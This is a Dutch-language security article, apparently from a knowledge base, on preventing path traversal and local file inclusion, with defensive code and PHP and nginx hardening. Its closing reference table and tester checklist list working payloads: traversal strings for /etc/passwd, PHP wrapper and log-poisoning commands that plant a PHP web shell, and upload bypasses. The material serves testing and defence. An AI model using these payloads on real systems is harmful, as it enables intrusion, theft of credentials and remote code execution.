Path Traversal Preventie
Geen Omweg Naar Gevoelige Bestanden
Webrisico is zelden mysterieus. Het zit meestal in voorspelbare fouten die onder tijdsdruk blijven staan.
Bij Path Traversal Preventie zit de meeste winst in veilige defaults die in elke release automatisch worden afgedwongen.
Dat maakt security minder een losse controle achteraf en meer een standaardkwaliteit van je product.
Directe maatregelen (15 minuten)
Waarom dit telt
De kern van Path Traversal Preventie is risicoreductie in de praktijk. Technische context ondersteunt de maatregelkeuze, maar implementatie en borging staan centraal.
Verdediging: het archief op slot
Na al die aanvalsroutes is het eerlijk om ook over verdediging te praten. Want hoewel het cynische in ons wil zeggen dat het toch hopeloos is, is path traversal en LFI een van die kwetsbaarheden die met discipline te voorkomen zijn.
Whitelist, niet blacklist
De fundamentele fout die de meeste applicaties maken, is het blokkeren van bekende slechte input (blacklisting) in plaats van het toestaan van bekende goede input (whitelisting).
# FOUT: blacklist
def get_file(filename):
if '../' in filename:
return "Nee."
return open(f'/var/www/files/{filename}').read()
# GOED: whitelist
ALLOWED_FILES = {'report.pdf', 'manual.html', 'logo.png'}
def get_file(filename):
if filename not in ALLOWED_FILES:
return "Nee."
return open(f'/var/www/files/{filename}').read()De blacklist-aanpak is een eindeloze wapenwedloop. Je blokkeert
../, dus de aanvaller gebruikt ..%2F. Je
blokkeert dat, dus hij gebruikt ....//. Je blokkeert dat,
dus hij vindt weer iets nieuws. De whitelist-aanpak eindigt het gesprek:
als het niet op de lijst staat, bestaat het niet.
Path canonicalisatie
Als een whitelist niet praktisch is (bijvoorbeeld bij een CMS dat willekeurige bestanden moet serveren), gebruik dan path canonicalisatie:
import os
def get_file(filename):
base_dir = '/var/www/files'
requested = os.path.realpath(os.path.join(base_dir, filename))
if not requested.startswith(base_dir):
return "Nee."
return open(requested).read()os.path.realpath() resolved alle ..
componenten, symlinks, en encoding- trucs tot een absoluut pad. Als het
resulterende pad niet begint met je basemap, is er iemand aan het
traverselen.
Chroot / containers
De nucleaire optie: zet de webapplicatie in een chroot jail of container waar het bestandssysteem dat het proces kan zien beperkt is tot wat het nodig heeft. Zelfs als een aanvaller path traversal bereikt, is er niets interessants om te lezen.
PHP-specifieke maatregelen
; php.ini
allow_url_include = Off ; Blokkeer remote file inclusion
allow_url_fopen = Off ; Blokkeer remote file access
open_basedir = /var/www/ ; Beperk bestandstoegang
disable_functions = system,exec,passthru,shell_exec,popen,proc_openopen_basedir is PHP’s ingebouwde chroot. Het beperkt
welke mappen PHP-scripts kunnen benaderen. Het is niet waterdicht (er
zijn historische bypasses), maar het is een laag die je altijd moet
toevoegen.
Upload-specifieke maatregelen
# Valideer extensie EN content-type EN magic bytes:
import magic
ALLOWED_TYPES = {'image/jpeg', 'image/png', 'image/gif'}
ALLOWED_EXTENSIONS = {'.jpg', '.jpeg', '.png', '.gif'}
def validate_upload(file):
ext = os.path.splitext(file.filename)[1].lower()
if ext not in ALLOWED_EXTENSIONS:
return False
# Check magic bytes met python-magic:
mime = magic.from_buffer(file.read(2048), mime=True)
file.seek(0)
if mime not in ALLOWED_TYPES:
return False
return TrueEn, cruciaal: sla uploads op buiten de webroot, of op een apart domein zonder server-side scripting. Als de webserver geen PHP (of ASP, of JSP) uitvoert in de upload-map, maakt het niet uit wat er geupload wordt.
# Nginx: geen PHP executie in de uploads map
location /uploads/ {
location ~ \.php$ {
deny all;
}
}
Rename na upload
Geef geuploadde bestanden een random naam zonder de originele extensie:
import uuid
def save_upload(file):
safe_name = str(uuid.uuid4()) # Geen extensie, geen problemen
path = os.path.join(UPLOAD_DIR, safe_name)
file.save(path)
return safe_nameEen bestand zonder extensie wordt door geen enkele webserver als uitvoerbaar beschouwd. Het is de digitale equivalent van het verwijderen van de trekker uit een pistool: het ziet er nog steeds gevaarlijk uit, maar het doet niets.
De realiteit
En hier is het moment waarop het cynische stemmetje weer mag meepraten.
Want het probleem met path traversal en LFI is niet dat we niet weten
hoe we het moeten voorkomen. We weten het al sinds de jaren negentig.
realpath() bestaat al langer dan de meeste webontwikkelaars
leven. Whitelisting is geen geavanceerd concept. En toch, in 2026,
zitten we hier nog steeds te praten over
../../../etc/passwd alsof het een nieuwe aanval is.
De waarheid is dat path traversal niet voortkomt uit onwetendheid. Het komt voort uit luiheid, haast, en de eeuwige overtuiging dat “het ons niet zal overkomen”. Het komt voort uit ontwikkelaars die een feature in een middag bouwen en de beveiliging “later” toevoegen – een “later” dat nooit komt omdat er altijd een nieuwe feature is die “later” ook nodig heeft.
We slaan gevoelige bestanden op in leesbare mappen. We geven de webserver toegang tot het hele bestandssysteem. We vertrouwen op extensiefilters die een kind van twaalf kan omzeilen. En als het misgaat, wijzen we naar de aanvaller alsof hij iets oneerlijks heeft gedaan.
De aanvaller heeft niets oneerlijks gedaan. Hij heeft
../ getypt. Dat is het. Drie karakters. Twee puntjes en een
schuine streep. Als je systeem niet bestand is tegen twee puntjes en een
schuine streep, dan is het probleem niet de aanvaller. Dan is het
probleem dat je een systeem hebt gebouwd met het veerkracht-niveau van
een kaartenhuis in een orkaan.
Maar goed, het houdt ons van de straat.
Referentietabel
| Techniek | Payload / Commando | Doel |
|---|---|---|
| Basis traversal (Linux) | ../../../../../../../etc/passwd |
Gebruikerslijst lezen |
| Basis traversal (Windows) | ..\..\..\..\windows\win.ini |
Windows configuratie lezen |
| URL-encoded traversal | ..%2F..%2F..%2Fetc%2Fpasswd |
Filter bypass via encoding |
| Dubbel URL-encoded | ..%252F..%252F..%252Fetc%252Fpasswd |
Dubbele decodering bypass |
| Dot-stripping bypass | ....//....//....//etc/passwd |
Filter verwijdert ../ maar niet
....// |
| Semicolon bypass | ..;/..;/..;/etc/passwd |
Tomcat path parameter separator |
| Null byte (PHP < 5.3.4) | ../../../etc/passwd%00.jpg |
Extensie-toevoeging omzeilen |
| PHP filter wrapper | php://filter/convert.base64-encode/resource=config.php |
Broncode lezen als Base64 |
| PHP data wrapper | data://text/plain;base64,PD9waH... |
Code execution via URL |
| PHP expect wrapper | expect://id |
Directe command execution |
| Log poisoning (injectie) | curl -A "<?php system(\$_GET['cmd']); ?>" http://TARGET/ |
PHP in access log schrijven |
| Log poisoning (executie) | curl "http://TARGET/page.php?file=../../../var/log/apache2/access.log&cmd=id" |
Vergiftigd log includen |
| SSH log poisoning | ssh '<?php system($_GET["cmd"]); ?>'@TARGET |
PHP via SSH auth log |
| /proc/self/environ | curl -A "<?php system(\$_GET['cmd']); ?>" "http://T/page.php?file=../../../proc/self/environ&cmd=id" |
Injectie + executie in een stap |
| Extension bypass (PHP) | shell.phtml, shell.phar,
shell.php5 |
Blacklist omzeilen |
| Double extension | shell.php.jpg, shell.jpg.php |
Extensiecontrole verwarren |
| Content-Type bypass | Content-Type: image/jpeg bij PHP upload |
Content-type validatie omzeilen |
| Magic bytes | GIF89a<?php system($_GET['cmd']); ?> |
Bestandstype detectie omzeilen |
| .htaccess upload | AddType application/x-httpd-php .jpg |
Apache configuratie overschrijven |
| ZIP traversal | z.writestr('../../../var/www/html/shell.phtml', payload) |
Path traversal via archief |
Checklist voor testers
Identificeer file inclusion parameters: Zoek naar URL-parameters die naar bestanden verwijzen (
?file=,?page=,?include=,?path=,?template=,?doc=,?lang=).Test basis traversal: Begin met
../../../etc/passwd(Linux) of..\..\..\..\windows\win.ini(Windows).Probeer encoding-varianten: URL-encoding, dubbele encoding, dot-stripping bypass, semicolon bypass.
Lees gevoelige bestanden:
.env, configuratiebestanden, SSH keys, wachtwoord-databases.Test PHP wrappers:
php://filtervoor broncode,data://enphp://inputvoor RCE.Probeer log poisoning: Injecteer code via User-Agent, SSH, of SMTP. Include het logbestand.
Test file upload bypasses: Extensie-varianten, double extensions, null bytes, Content-Type manipulatie, magic bytes.
Documenteer de keten: Van initieel lek tot code execution, stap voor stap.
Twee puntjes en een schuine streep. Drie karakters die al dertig jaar lang het verschil maken tussen “veilig” en “volledig gecompromitteerd”. Het is bijna poëtisch in zijn eenvoud. Bijna.
Verder lezen in de kennisbank
Deze artikelen in het portaal geven je meer achtergrond en praktische context:
- API's — de onzichtbare lijm van het internet
- SSL/TLS — waarom dat slotje in je browser ertoe doet
- Encryptie — de kunst van het onleesbaar maken
- Wachtwoord-hashing — hoe websites je wachtwoord opslaan
- Penetratietesten vs. vulnerability scans
Je hebt een account nodig om de kennisbank te openen. Inloggen of registreren.
Gerelateerde securitymaatregelen
Deze artikelen bieden aanvullende context en verdieping: